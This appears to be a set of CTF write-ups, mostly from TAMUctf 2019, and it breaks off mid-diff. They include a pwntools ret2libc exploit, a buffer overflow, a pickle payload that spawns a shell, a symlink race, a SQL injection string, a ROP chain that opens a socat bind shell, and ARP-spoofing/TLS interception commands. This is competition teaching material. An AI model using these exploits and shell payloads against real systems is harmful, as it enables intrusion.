```python>>> packets = rdpcap('log2.pcapng') >>> pkts = PacketList() ...: for p in packets: ...: if p.haslayer(Raw) and p.haslayer(TCP): ...: if p[TCP].sport == 4445 or p[TCP].dport == 4445: ...: print(p.load) ...: b'AAAAAAAAAAAAAAAAAAAAAAAA'b'read GOT at 0x404020\n'b'AAAAAAAAAAAAAAAAAAAAAAAAK\x12@\x00\x00\x00\x00\x00 @@\x00\x00\x00\x00\x00\n'b'puts PLT at 0x40102c\n'b'AAAAAAAAAAAAAAAAAAAAAAAAK\x12@\x00\x00\x00\x00\x00 @@\x00\x00\x00\x00\x00,\x10@\x00\x00\x00\x00\x00\n'b'main in binary at 0x4011a3\n'b'AAAAAAAAAAAAAAAAAAAAAAAAK\x12@\x00\x00\x00\x00\x00 @@\x00\x00\x00\x00\x00,\x10@\x00\x00\x00\x00\x00\xa3\x11@\x00\x00\x00\x00\x00\n'b'read found at 0x7f76847cf250\nputs found at 0x7f7684747690\nsystem found at 0x7f768471d390\nfree found at 0x7f768475c4f0\nmalloc found at 0x7f768475c130\n'b'We should be back at the beginning of binary'b'POP RDI; RET gadget at 0x40124b\n'b'AAAAAAAAAAAAAAAAAAAAAAAAK\x12@\x00\x00\x00\x00\x00WM\x86\x84v\x7f\x00\x00\x90\xd3q\x84v\x7f\x00\x00\n'b"Got shell, let's roll\n"b'Got flag as evlz{XxXxXxXxXxXxXxXxXxXxXxX}ctf\nClosing connection\n'```
Hmm, this is interesting. So we know the address of system, let's search for the libc. After a quick search on libc.blukat.me I found it. Now let's get to the exploit. As we can see it's a simple rop chain. We also have the address of a pop rdi gadget. Things are simple now, call puts with the address of read, find the offset of libc in memory then call `system('/bin/sh')`.
Final exploit:
```python#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import *
context.update(arch='i386')exe = './path/to/binary'libc = ELF('./libc.so')
host = args.HOST or '35.198.113.131'port = int(args.PORT or 31336)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''continue'''.format(**locals())
# -- Exploit goes here --
padding = 'A' * 24
pop_rdi = b'K\x12@\x00\x00\x00\x00\x00'read_got = b' @@\x00\x00\x00\x00\x00'puts_plt = b',\x10@\x00\x00\x00\x00\x00'main = b'\xa3\x11@\x00\x00\x00\x00\x00'
read_libc = 0xf7250system_libc = 0x45390binsh_libc = 0x18cd57
io = start()
# Stage 1. Leak
print(io.recv())io.sendline(padding + pop_rdi + read_got + puts_plt + main)
leaked_read = u64(io.recvline().strip().ljust(8, '\x00'))offset = leaked_read - read_libc
log.success('read@libc: ' + hex(leaked_read))log.success('Offset: ' + hex(offset))
# Stage 2. g3t_5h311
print(io.recv())io.sendline(padding + pop_rdi + p64(binsh_libc + offset) + p64(system_libc + offset))
io.interactive()
```
Got flag as `evlz{w0ah_A_pwn3r_do3s_netw0rk_for3nsic5}ctf`
This was a really great problem, I loved how this CTF had lots of original problems, had a really great time playing it! Love and peace!
|
# Pwn1Pwn
## Challenge
nc pwn.tamuctf.com 4321
Difficulty: easy
[pwn1](pwn1)
## Solution
### Solve 1st part...
Lets do a strings
$ strings pwn1
Right. Off you go. flag.txt Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? Sir Lancelot of Camelot I don't know that! Auuuuuuuugh! What... is your quest? To seek the Holy Grail. What... is my secret? ;*2$" GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
Here we see some stuff which we can use to answer the questions
$ ./pwn1 Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? Sir Lancelot of Camelot What... is your quest? To seek the Holy Grail. What... is my secret? ;*2$" I don't know that! Auuuuuuuugh!
So now it correctly answers 2 of the questions. We need to find the secret
### Decompile to understand 2nd part
We do a decompile and we see this. Let's understand it slowly...
int main(int arg0) { stack[2048] = arg0; stack[2047] = *(&arg0 + 0xfffffffc); stack[2046] = ebp; ebp = (esp & 0xfffffff0) - 0x8; stack[2045] = ebx; stack[2044] = &arg;; eax = __x86.get_pc_thunk.bx(); stack[2027] = 0x0; stack[2026] = 0x0; stack[2025] = 0x2; stack[2024] = **(ebx + 0x1864); eax = sub_580(); *(ebp + 0xfffffff4) = 0x2; *(ebp + 0xfffffff0) = 0x0; stack[2024] = ebx + 0x200; eax = sub_550(); stack[2024] = ebx + 0x26b; eax = sub_550(); stack[2026] = **(ebx + 0x1860); stack[2025] = 0x2b; stack[2024] = ebp + 0xffffffc5; eax = sub_530(); stack[2025] = ebx + 0x281; stack[2024] = ebp + 0xffffffc5; esp = ((((((esp & 0xfffffff0) - 0x60) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10; if (sub_510() != 0x0) { stack[2024] = "I don't know that! Auuuuuuuugh!"; eax = sub_550(); stack[2024] = 0x0; esp = (esp - 0x10) + 0x10 - 0x10; eax = sub_560(); } stack[2020] = "What... is your quest?"; eax = sub_550(); stack[2022] = **0x1ff0; stack[2021] = 0x2b; stack[2020] = ebp + 0xffffffc5; eax = sub_530(); stack[2021] = "To seek the Holy Grail.\n"; stack[2020] = ebp + 0xffffffc5; esp = (((esp - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10; if (sub_510() != 0x0) { stack[2020] = "I don't know that! Auuuuuuuugh!"; eax = sub_550(); stack[2020] = 0x0; esp = (esp - 0x10) + 0x10 - 0x10; eax = sub_560(); } stack[2016] = "What... is my secret?"; eax = sub_550(); stack[2016] = ebp + 0xffffffc5; eax = sub_520(); esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10; if (*(ebp + 0xfffffff0) == 0xdea110c8) { eax = print_flag(); } else { stack[2016] = "I don't know that! Auuuuuuuugh!"; eax = sub_550(); esp = (esp - 0x10) + 0x10; } eax = 0x0; ebx = stack[2019]; esp = ebp + 0x4; ebp = stack[2020]; esp = stack[2018] + 0xfffffffc; return 0x0; }
We notice it is calling a lot of functions such as `sub_530()`, `sub_510()`
I realise that the code is reading/printing to the console, so these functions must be in charge of STDIO. This made me suspect that it is calling LIBC functions.
void sub_530() { (*(ebx + 0x14))(); return; }
void sub_510() { (*(ebx + 0xc))(); return; }
Confirm that the `ebx` points to the GOT table... Look at the GOT table and we see matching addresses.
_GLOBAL_OFFSET_TABLE_: 00001fb0 db 0xb8 ; '.' 00001fb1 db 0x1e ; '.' 00001fb2 db 0x00 ; '.' 00001fb3 db 0x00 ; '.' 00001fb4 db 0x00 ; '.' 00001fb5 db 0x00 ; '.' 00001fb6 db 0x00 ; '.' 00001fb7 db 0x00 ; '.' 00001fb8 db 0x00 ; '.' 00001fb9 db 0x00 ; '.' 00001fba db 0x00 ; '.' 00001fbb db 0x00 ; '.' strcmp@GOT: // strcmp 00001fbc dd 0x00003000 gets@GOT: // gets 00001fc0 dd 0x00003008 fgets@GOT: // fgets 00001fc4 dd 0x0000300c _IO_getc@GOT: // _IO_getc 00001fc8 dd 0x00003010 puts@GOT: // puts 00001fcc dd 0x00003018 exit@GOT: // exit 00001fd0 dd 0x00003020 __libc_start_main@GOT: // __libc_start_main 00001fd4 dd 0x00003024 setvbuf@GOT: // setvbuf 00001fd8 dd 0x0000302c fopen@GOT: // fopen 00001fdc dd 0x00003030 putchar@GOT: // putchar 00001fe0 dd 0x00003034
So now we know some important functions
ebx = GOT base [00001fb0] sub_530 = fgets [00001fc4] sub_510 = strcmp [00001fbc] sub_520 = gets [00001fc0]
Let's rewrite the code
psuedocode: main() { // Some initialising first setvbuf() // ... // Question 1 -------------------------------- print "What... is your name?" fgets()
if (strcmp() != 0) // if not matching { print "I don't know that! Auuuuuuuugh!" }
// Question 2 -------------------------------- print "What... is your quest?" fgets()
if (strcmp() != 0) // if not matching { print "I don't know that! Auuuuuuuugh!" }
// Question 3 -------------------------------- print "What... is my secret?" gets()
if (*(ebp + 0xfffffff0) == 0xdea110c8) { print_flag(); } else { print "I don't know that! Auuuuuuuugh!" } }
Notice that question 3 uses `gets [sub_520]` instead of `fgets [sub_530]`.
Doing this yields no progress
python -c "\ from pwn import *; print 'Sir Lancelot of Camelot'; print 'To seek the Holy Grail.'; print p32(0xdea110c8); " | ./pwn1
Hence, now we need to check where `*(ebp + 0xfffffff0)` points to...
In assembly code, the first 2 strcmp checks for `ebp-0x3b`. 00000865 lea eax, dword [ebp-0x3b] 00000868 push eax 00000869 call sub_510
But the last one checks for `ebp-0x10`.
000008b2 cmp dword [ebp-0x10], 0xdea110c8
Hence, there is a `0x3 - 0x10 = 43 decimal` offset.
Let's verify
# python -c "\ from pwn import *; print 'Sir Lancelot of Camelot'; print 'To seek the Holy Grail.'; print 'A' * 43 + p32(0xdea110c8); " | ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? What... is your quest? What... is my secret? Right. Off you go. Segmentation fault
Yes, it works. Do on server!
# python -c "\ from pwn import *; print 'Sir Lancelot of Camelot'; print 'To seek the Holy Grail.'; print 'A' * 43 + p32(0xdea110c8); " | nc pwn.tamuctf.com 4321
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? What... is your quest? What... is my secret? Right. Off you go. gigem{34sy_CC428ECD75A0D392}
## Flag
gigem{34sy_CC428ECD75A0D392} |
# Description
It's my favorite show to watch while practing my python skills! I've seen episode 5 at least 13 times.
```nc pwn.tamuctf.com 8448```
Difficulty: easy-medium
# Solution
Connecting to the server through nc, we are given a list of options
Adding an episode gives you a list of episodes that you can choose from to add to your list to which you select the number and it gets added to your watch list. Printing your watch list does as you expect printing what is currently on your list. Backup your watch list returns a base64 encoded string that can be used in the fourth option of loading your watch list to return your watch list to the state that it was in when you made the backup.
To start off, I examined the backup string by decoding the base64 however doing so returned garbage. This led me to believe that there must be one additional form of encoding on top of the base64 so that I would be able to get a cleartext string of some sorts.
Looking at the challenge description again, it mentions episode 5 so looking at the title of the fifth option of the episode list we see that it is Dave and the Giant Pickle. Given that this channel was likely coded in Python, this led me to the idea that it was using pickles to load and restore the watch list. Pickle is a python module that allows you to allow object permanence between python sessions, as you can save an object and its state to a file and then load it back up again to restore the state of that object. This means that the load the backup string, loads whatever Python object is given to it, which allows us to gain remote code execution, so we could write python code that should give us a shell and if we could give it to the load function then we would be good.
The only problem was determining what the additional encoding was in addition to the base64. Checking the description again, we see the word 13 appear. This made me look once again at the episode list but there was nothing useful with episode 13. After messing around a little, I saw that when comparing backup strings that contained the same episodes, you could locate where each episode's string lied and you could then put the same episode multiple times in the list however this was not useful to us. Moving past that, the only thing that I considered having to do with the number 13 was ROT13. Performing ROT13 on the backup string of the base64 encoded string, then decoding that gave me the cleartext version of the episode list. Now we know the "encryption process", the server first base64 encodes the pickle of the episode list, then performs ROT13 on that and hands us the string.
Looking online for pickle exploits online, I came across this code:
```class Exploit(object): def __reduce__(self): return (os.system, ('/bin/bash',))```
So all we need to do is run:
```pickle.dumps(Exploit())```
and then write that to a file. We then just repeat the encryption process of encoding the pickle with base64 then performing ROT13 on that.
```cat exploit | base64 | tr 'A-Za-z' 'N-ZA-Mn-za-m'```
This gives us the string tNAwpT9mnKtXp3ymqTIgPaRNJNxNNNNiLzyhY2Wup2ukNLIkNyWkNl4=. Heading back into nc, we load the watch list give them the string, and voila we have a shell. Running ls shows that they have flag.txt, so running cat flag.txt we get the flag:
```gigem{d0nt_7rust_th3_g1ant_pick1e}```
|
We wrote two bash scripts, which we put in the home directory after sshing in. `redirect.sh` symlinks repeatedly between the flag at `/root/flag.txt` and a file we have permissions to (which we create in the local directory) called `dummy.txt`. ```while true; do rm link ln -s /root/flag/txt link rm link ln -s dummy.txt linkdone````runfile.sh` runs `FileChecker` repeatedly on our symlink (only printing to console when we have a flag): ```while true; do ./FileChecker link | grep MCAdone```Now you want both of these in your same ssh session; just set `redirect.sh` to run in the background so that you can run `runfile.sh` at the same time:```./redirect.sh &./runfile.sh``` |
[Super Old School]---Question:--- This image is trying to tell you something
Answer--- This is Babylonian numerials, found by searching for the oldest languages known and used google reverse search Converted numbers to letters and got the flagComment:--- Any comment to the task
Flag:--- somanycryptos |
# Not Another SQLi Challenge
## Points: 100
Similar to last years challenge, a simple SQL injection will give you the flag.
In this scenario, the password parameter is vulnerable. Supply the following credentials:
* User: `admin`* Password: `' or 1=1;-- -`
And you'll get the flag:
`gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}!` |
# Secrets(ANDROID)## Description
Can you find my secrets?
Difficulty: Easy
Category: Android
## Writeup
Another easy challenge from tamuctf. This time it's android ... :P So we're given a .apk file to begin with. First thought when given a .apk challenge is to decode it using apktool. > apktool decode howdyapp.apk
It will create a directory howdyapp/ under which the standard android source files. Next is to look for the MainActivity.java inside the source files. Some Challenges have their flags inside the MainActivity.java file but this one had nothing. So I started looking for .xml files and got strings.xml under values/
which contained all the strings used in the app and there it was hiding behind the base64 encoding ... decoding it using> echo Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ== | base64 -d
gave the flag
## gigem{infinite_gigems} |
# TAMUctf 2019 - Misc - All challs excluding Onboarding Checklist
## HowdyWelcome to TAMUctf! This year most of the challenges will be dynamically scored meaning the point value will adjust for everyone, including those have already solved the challenge, based on the number of solves.
The secure coding challenges will appear when you have solved their corresponding challenges.
If you have any questions or issues feel free to contact the devs on the discord.
Good luck and have fun!
The flag is: `gigem{H0wdy!}`
**Solve**Obviously the flag is gigem{H0wdy!}
## Who am I?What is the A record for `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**
ping tamuctf.com
The flag is 52.33.57.247
## Who do i Trust?Who issued the certificate to `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**We just have to see the certificate on the browser
The flag is Let's Encrypt Authority X3
## Where am I?What is the name of the city where the server for tamuctf.com is located?
(Not in standard gigem{flag} format)
**Solve**With any random geo location tool or website we can find the flag.
The flag is Boardman
## I heard you like files.Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG.
**Solve**
$ binwalk -e art.png $ DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 3408641 0x340301 PDF document, version: "1.5" 3408712 0x340348 Zlib compressed data, default compression 3412206 0x3410EE Zlib compressed data, default compression 3418964 0x342B54 Unix path: /Type/FontDescriptor/FontName/BAAAAA+NotoSans-Regular 3419203 0x342C43 Zlib compressed data, default compression 3419623 0x342DE7 Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+NotoSans-Regular 3419994 0x342F5A Zlib compressed data, default compression 3428648 0x345128 Unix path: /Type/FontDescriptor/FontName/CAAAAA+DejaVuSerif 3428883 0x345213 Zlib compressed data, default compression 3429245 0x34537D Unix path: /Type/Font/Subtype/TrueType/BaseFont/CAAAAA+DejaVuSerif 3429667 0x345523 Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>> 3430685 0x34591D Zip archive data, at least v2.0 to extract, compressed size: 217, uncompressed size: 573, name: _rels/.rels 3430943 0x345A1F Zip archive data, at least v2.0 to extract, compressed size: 288, uncompressed size: 511, name: docProps/app.xml 3431277 0x345B6D Zip archive data, at least v2.0 to extract, compressed size: 356, uncompressed size: 731, name: docProps/core.xml 3431680 0x345D00 Zip archive data, at least v2.0 to extract, compressed size: 222, uncompressed size: 663, name: word/_rels/document.xml.rels 3431960 0x345E18 Zip archive data, at least v2.0 to extract, compressed size: 165, uncompressed size: 208, name: word/settings.xml 3432172 0x345EEC Zip archive data, at least v2.0 to extract, compressed size: 297, uncompressed size: 918, name: word/fontTable.xml 3432517 0x346045 Zip archive data, at least v2.0 to extract, compressed size: 83172, uncompressed size: 84725, name: word/media/image1.png 3515768 0x35A578 Zip archive data, at least v2.0 to extract, compressed size: 1138, uncompressed size: 4099, name: word/document.xml 3516953 0x35AA19 Zip archive data, at least v2.0 to extract, compressed size: 605, uncompressed size: 2192, name: word/styles.xml 3517603 0x35ACA3 Zip archive data, at least v2.0 to extract, compressed size: 352, uncompressed size: 1443, name: [Content_Types].xml 3518004 0x35AE34 Zip archive data, at least v1.0 to extract, compressed size: 20, uncompressed size: 20, name: not_the_flag.txt 3518847 0x35B17F End of Zip archive
(I tried to grep for the flag before, but nothing brought the flag to us)
In word/media we have other png file, it's not necessary use binwalk, even if it's not a simple png again, just:
cat image1.png
In the end of the file:
ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K
Clearly a base64:
The flag is flag{P0lYt@r_D0_y0u_G3t_It_N0w?}
## Hello WorldMy first program!
Difficulty: medium
**Solve**We just have a simple C++ program, but with whitespaces before him, looks like a literally whitespace language:
I used this program to translate https://github.com/koturn/Whitespace
After translate in the file we can see the possible flag in table ASCII numbers:
push(103); push(105); push(103); push(101); push(109); push(123); push(48); push(104); push(95); push(109); push(121); push(95); push(119); push(104); push(52); push(116); push(95); push(115); push(112); push(52); push(99); push(49); push(110); push(103); push(95); push(121); push(48); push(117); push(95); push(104); push(52); push(118); push(51); push(125); push(33); push(101); push(99); push(97); push(112); push(115); push(101); push(116); push(105); push(104); push(119); push(32); push(102); push(111); push(32); push(116); push(111); push(108); push(32); push(97); push(32); push(115); push(105); push(32); push(101); push(114); push(117); push(115); push(32); push(116); push(97); push(104); push(116); push(32); push(44); push(101); push(101); push(103); push(32); push(121); push(108); push(108); push(111); push(103); push(32); push(116); push(101); push(101); push(119); push(115); push(32); push(108); push(108); push(101); push(87);
Translating this:
gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3} |
# In Plain Text (Binary RE 50)
We're given an file. Let's look at its type.
```$ file challenge challenge: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=63c841da3195b526943ba730cad66392c5dae087, not stripped```
Looks like it's an executable file, which makes sense since this is in the Binary RE category. Let's see what happens when we run it.
```$ chmod +x challenge$ ./challenge Hey there, I know I am the challenge and all, but I forgot what the flag was...Could you just tell me the flag real quick? Please? That doesn't sound familiar... :/```
One of the first things I do whenever I run into a low-difficulty Binary RE problem like this is to just run `strings` on it. Let's see if the flag is in there somewhere.
```$ strings challenge | grep "MCA{.*}"MCA{y3ah_sur3_here_y0u_g0}``` |
# pwn6 - Pwn
We're given two binaries, a server binary and a client binary aswell as a OpenVPN configuration file to be used when executing the exploit remotely.
Server protection:```CANARY : ENABLEDFORTIFY : ENABLEDNX : ENABLEDPIE : disabledRELRO : Partial```
Launching the server and connecting to it with the binary gives us the following output:
``` 0. View Recent Login's With client 1. LoginEnter command to send to server...```
Option 0 gives us:
```Most recent login's from this client1. 13372. 23646...```
and option 1 gives us a prompt to login.
When inspecting the client binary we can observe other options which presumably would be unlocked once successfully authenticated to the server.
When running the server, an empty 'Banking.sqlite' database is created which presumably would contain the credentials which would allow us to login with client.
Inspecting the login routine in the server binary with IDA eventually leads us to the `process_message` function.
Right off the bat there's a vulnerable printf call which seemed to be the thing to take advantage off in this challenge. With server binary having PIE disabled it would be quite easy to redirect some libc call to a ROP-chain.
However, the condition for even getting into the vulnerable printf branch is to send a corrupted message to the server which to my understanding seemed to drop the connection to the client so a new approach was needed.
Just before branching to the malformed message branch, there's a lookup for a function pointer depending on the value in the RDX register.
```mov rax, [rax + rdx * 8 + 0x8]```
The server determines what options a client can send depending on what function pointers exists in this array. If the array contains a null pointer at an index, it means that the user does not have access to this function. Initially I thought this array access was checked for out of bounds, but as it turns out, it was not. Thus we have a execution primitive to get RIP-control when the server is calling the function pointer later on.
Inspecting the messages sent by client we could create the following message to determine the value of RDX in the array lookup:
```pythondef array_lookup(rdx, payload): return '\x0a' + '\x00' * 2 + '\x00' + pwn.p32(rdx - 4) + payload ```
Due to the message structure, we're limited to only the lower 4 bytes of the RDX register. The payload parameter can take arbitrary data and will be stored on both the stack and the heap when the server is calling the fake function pointer.
## Exploit
```[----------------------------------registers-----------------------------------]RAX: 0x409070 (<pcacheMergeDirtyList+96>: add rsp,0x58)RBX: 0x0 RCX: 0x6d5f10 --> 0x5 RDX: 0x7fffffffda70 --> 0x4 RSI: 0x6d5f10 --> 0x5 RDI: 0x7fffffffda70 --> 0x4 RBP: 0x7fffffffd560 --> 0x7fffffffda50 --> 0x7fffffffddb0 --> 0x4a8720 (<__libc_csu_init>: push r15)RSP: 0x7fffffffd540 --> 0x6d5f10 --> 0x5 RIP: 0x404cf4 (<process_message+91>: call rax)R8 : 0xfffffffffffffff0 R9 : 0x0 R10: 0x6d3010 --> 0x200010001000102 R11: 0x6d6270 --> 0x680000000a ('\n')R12: 0x404770 (<_start>: xor ebp,ebp)R13: 0x7fffffffde90 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x404cea <process_message+81>: mov rdx,QWORD PTR [rbp-0x18] 0x404cee <process_message+85>: mov rsi,rcx 0x404cf1 <process_message+88>: mov rdi,rdx=> 0x404cf4 <process_message+91>: call rax 0x404cf6 <process_message+93>: mov DWORD PTR [rbp-0xc],eax 0x404cf9 <process_message+96>: mov eax,DWORD PTR [rbp-0xc] 0x404cfc <process_message+99>: mov esi,eax 0x404cfe <process_message+101>: mov edi,0x4a886eGuessed arguments:arg[0]: 0x7fffffffda70 --> 0x4 arg[1]: 0x6d5f10 --> 0x5 arg[2]: 0x7fffffffda70 --> 0x4 arg[3]: 0x6d5f10 --> 0x5 [------------------------------------stack-------------------------------------]0000| 0x7fffffffd540 --> 0x6d5f10 --> 0x5 0008| 0x7fffffffd548 --> 0x7fffffffda70 --> 0x4 0016| 0x7fffffffd550 --> 0x0 0024| 0x7fffffffd558 --> 0x6d6270 --> 0x680000000a ('\n')0032| 0x7fffffffd560 --> 0x7fffffffda50 --> 0x7fffffffddb0 --> 0x4a8720 (<__libc_csu_init>: push r15)0040| 0x7fffffffd568 --> 0x4052be (<handle_connections+1397>: mov rax,QWORD PTR [rbp-0x10])0048| 0x7fffffffd570 --> 0x6d32c8 --> 0x6d1a80 --> 0x7000000003 0056| 0x7fffffffd578 --> 0x7fffffffda70 --> 0x4 [------------------------------------------------------------------------------]Legend: code, data, rodata, value``````gdb-peda$ telescope $rsp0000| 0x7fffffffd540 --> 0x6d5f10 --> 0x5 0008| 0x7fffffffd548 --> 0x7fffffffda70 --> 0x4 0016| 0x7fffffffd550 --> 0x0 0024| 0x7fffffffd558 --> 0x6d6270 --> 0x680000000a ('\n')0032| 0x7fffffffd560 --> 0x7fffffffda50 --> 0x7fffffffddb0 --> 0x4a8720 (<__libc_csu_init>: push r15)0040| 0x7fffffffd568 --> 0x4052be (<handle_connections+1397>: mov rax,QWORD PTR [rbp-0x10])0048| 0x7fffffffd570 --> 0x6d32c8 --> 0x6d1a80 --> 0x7000000003 0056| 0x7fffffffd578 --> 0x7fffffffda70 --> 0x4 gdb-peda$ telescope $rsp 200000| 0x7fffffffd540 --> 0x6d5f10 --> 0x5 0008| 0x7fffffffd548 --> 0x7fffffffda70 --> 0x4 0016| 0x7fffffffd550 --> 0x0 0024| 0x7fffffffd558 --> 0x6d6270 --> 0x680000000a ('\n')0032| 0x7fffffffd560 --> 0x7fffffffda50 --> 0x7fffffffddb0 --> 0x4a8720 (<__libc_csu_init>: push r15)0040| 0x7fffffffd568 --> 0x4052be (<handle_connections+1397>: mov rax,QWORD PTR [rbp-0x10])0048| 0x7fffffffd570 --> 0x6d32c8 --> 0x6d1a80 --> 0x7000000003 0056| 0x7fffffffd578 --> 0x7fffffffda70 --> 0x4 0064| 0x7fffffffd580 --> 0x680000000a ('\n')0072| 0x7fffffffd588 ('A' <repeats 200 times>...)```
Breaking on the call of the function pointer shows us that RSP is not pointing to our payload, so our first ROP-gadget has the pivot the stack to it. Fortunately, the server binary contains a lot of functions so finding suitable gadgets is quite easy. To pivot the stack we use the following gadget
``` 0x0000000000409070 <+96>: add rsp,0x58 0x0000000000409074 <+100>: ret ```
which will RSP right on the payload.
The first idea was to just spawn a shell, which would be easy as libc `system` existed in PLT. There wasn't however any reference to a `/bin/sh` string so a write-primtive was required to write it somewhere in memory. The following gadgets does the trick
```0x00000000004021ce <+160>: pop rdi0x00000000004021cf <+161>: ret
0x0000000000409073 <+99>: pop rax0x0000000000409074 <+100>: ret
0x0000000000408e46 <+118>: mov QWORD PTR [rax+0x10],rdi0x0000000000408e4a <+122>: ret```
This worked, but as this isn't a regular challenge where stdin and stdout is piped to the network, this would only spawn a shell on the server-side and be completely useless on the client.
Had some ideas trying to pipe stdout and stdin to the network socket but it seemed rather complicated. The final idea was to hope that the server had `socat` available and simply launch `/bin/sh` over some random port and then simply connect to it.
So in short, pass `socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"` to `system`.
To my own surprise it did work and connecting to the server with `nc` gave us the flag.
```gigem{dbff08334bfc2ae509f83605e4285b0e}```
```pythonimport pwn
SYSTEM_PLT = 0x401a10STACK_PIVOT = 0x409070POP_RDI = 0x4021ceMOV_RAX_RDI = 0x408e46BINSH = 0x006d1000POP_RAX = 0x409073RET = 0x401e7cPOP_RSI = 0x401e89
def write_what_where(what, where): chain = '' for i in range(0, len(what) - 8, 8): chain += pwn.p64(POP_RDI) chain += what[i:i+8] chain += pwn.p64(POP_RAX) chain += pwn.p64(where - 0x10 + i) chain += pwn.p64(MOV_RAX_RDI) remainder = len(what) % 8 extra = what[-remainder:] extra += (8 - len(extra)) * '\x00' chain += pwn.p64(POP_RDI) chain += extra chain += pwn.p64(POP_RAX) chain += pwn.p64(where - 0x10 + len(what) - remainder) chain += pwn.p64(MOV_RAX_RDI)
return chain
def array_lookup(rdx, payload): return '\x0a' + '\x00' * 2 + '\x00' + pwn.p32(rdx - 4) + payload
p = pwn.remote('172.30.0.2', 6210)#p = pwn.remote('127.0.0.1', 6210)
rop = pwn.p64(STACK_PIVOT)rop += write_what_where('socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"\x00', BINSH)rop += pwn.p64(POP_RDI)rop += pwn.p64(BINSH)rop += pwn.p64(RET) * 3 #Align the heap correctlyrop += pwn.p64(SYSTEM_PLT)
p.send(array_lookup(0x6c, rop))p.interactive()``` |
Another cool network challenge!
```Homework HelpCould you help me with my homework? I think the professor's solution is broken.
Difficulty: hard```
We start with a traditional nmap over the challenge subnet```Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-03 20:34 CETNmap scan report for 172.30.0.2Host is up (0.20s latency).Not shown: 999 closed portsPORT STATE SERVICE80/tcp open http
Nmap scan report for 172.30.0.3Host is up (0.20s latency).All 1000 scanned ports on 172.30.0.3 are closed
Nmap scan report for 172.30.0.4Host is up (0.20s latency).All 1000 scanned ports on 172.30.0.4 are closed
Nmap scan report for krzysh-laptop (172.30.0.14)Host is up (0.000076s latency).[this is my computer]
Nmap done: 16 IP addresses (4 hosts up) scanned in 69.97 seconds```
This is the website running on 172.30.0.2:
We seem to have something that runs python, so let's just try `os.system()`...And there we go, we got the fla... wait, if that was the case this challenge wouldn't be marked as hard, would it?
There is nothing interesting we have access to on the server, but you can notice that the name returned by "whoami" matches the website login in the top-right corner. Perhaps if we could log in as root, things would be different? But if we try to log out we get a message saying "Not important to the challenge; didn't implement it." What now?
Don't forget this is a network challenge and we haven't even looked at the other hosts yet. Let's just arp spoof all the communication between them and see what is happening when we send the code to be executed.
The answer: a lot of SSL traffic going to port 5671, we'll probably have to decrypt it somehow. But first, let's check what we are even dealing with:```krzys_h@krzysh-laptop:~ $ openssl s_client -connect 172.30.0.4:5671hello, is anyone there?AMQP ?closed```Quick googling reveals that AMQP is Advanced Message Queuing Protocol, and the thing that is most likely running on it is RabbitMQ. I have absolutely no experience with RabbitMQ so I have no idea how to set up my own spoofed server, but that turned out to not be necessary.
First, I would like to somehow intercept the encrypted communication and see what information is actually getting exchanged. Getting that to work properly was suprisingly difficult - sslsniff kept segfaulting on startup and I couldn't figure out why. In the end I switched to sslsplit which worked fine:```sudo iptables -t nat -A PREROUTING -p tcp --destination-port 5671 -j REDIRECT --to-ports 1234openssl genrsa -out ca.key 4096openssl req -new -x509 -days 1826 -key ca.key -out ca.crtmkdir /tmp/sslsplit logdirsudo sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 1234cat logdir/*```Looks like our assumptions about RabbitMQ were correct, and BINGO!```{"user": "alice", "assignment": "assignment_one", "code": "import os\nos.system(\"whoami\")\nos.system(\"pwd\")\nos.system(\"ls -la\")"}```It looks like we have to swap out the username here for "root". This turned out to be harder than I would have thought - I couldn't find any tools capable of modifying arbitrary SSL communication on the fly, everything I looked at was tailored specifically for HTTPS. At some point I read that `mitmproxy` which would be my go-to tool if this was HTTPS has experimental support for raw TCP mode, so I switched to using that...```mitmproxy --mode transparent --listen-port 1234 --ssl-insecure --tcp-hosts 172.30.0.2 --tcp-hosts 172.30.0.4```... but after getting it all set up, I realized that the docs on raw TCP say```* The raw TCP messages are printed to the event log.* SSL connections will be intercepted.Please note that message interception or modification are not possible yet. If you are not interested in the raw TCP messages, you should use the ignore domains feature.```Aaaargh, too bad. So what do you do when you can't find a tool that does what you need it to do? You ~write it yourself~ brutally hack the closest thing you have to do what you want. I ended up finding the packet handling code in mitmproxy and hacking it like this:```diffdiff --git 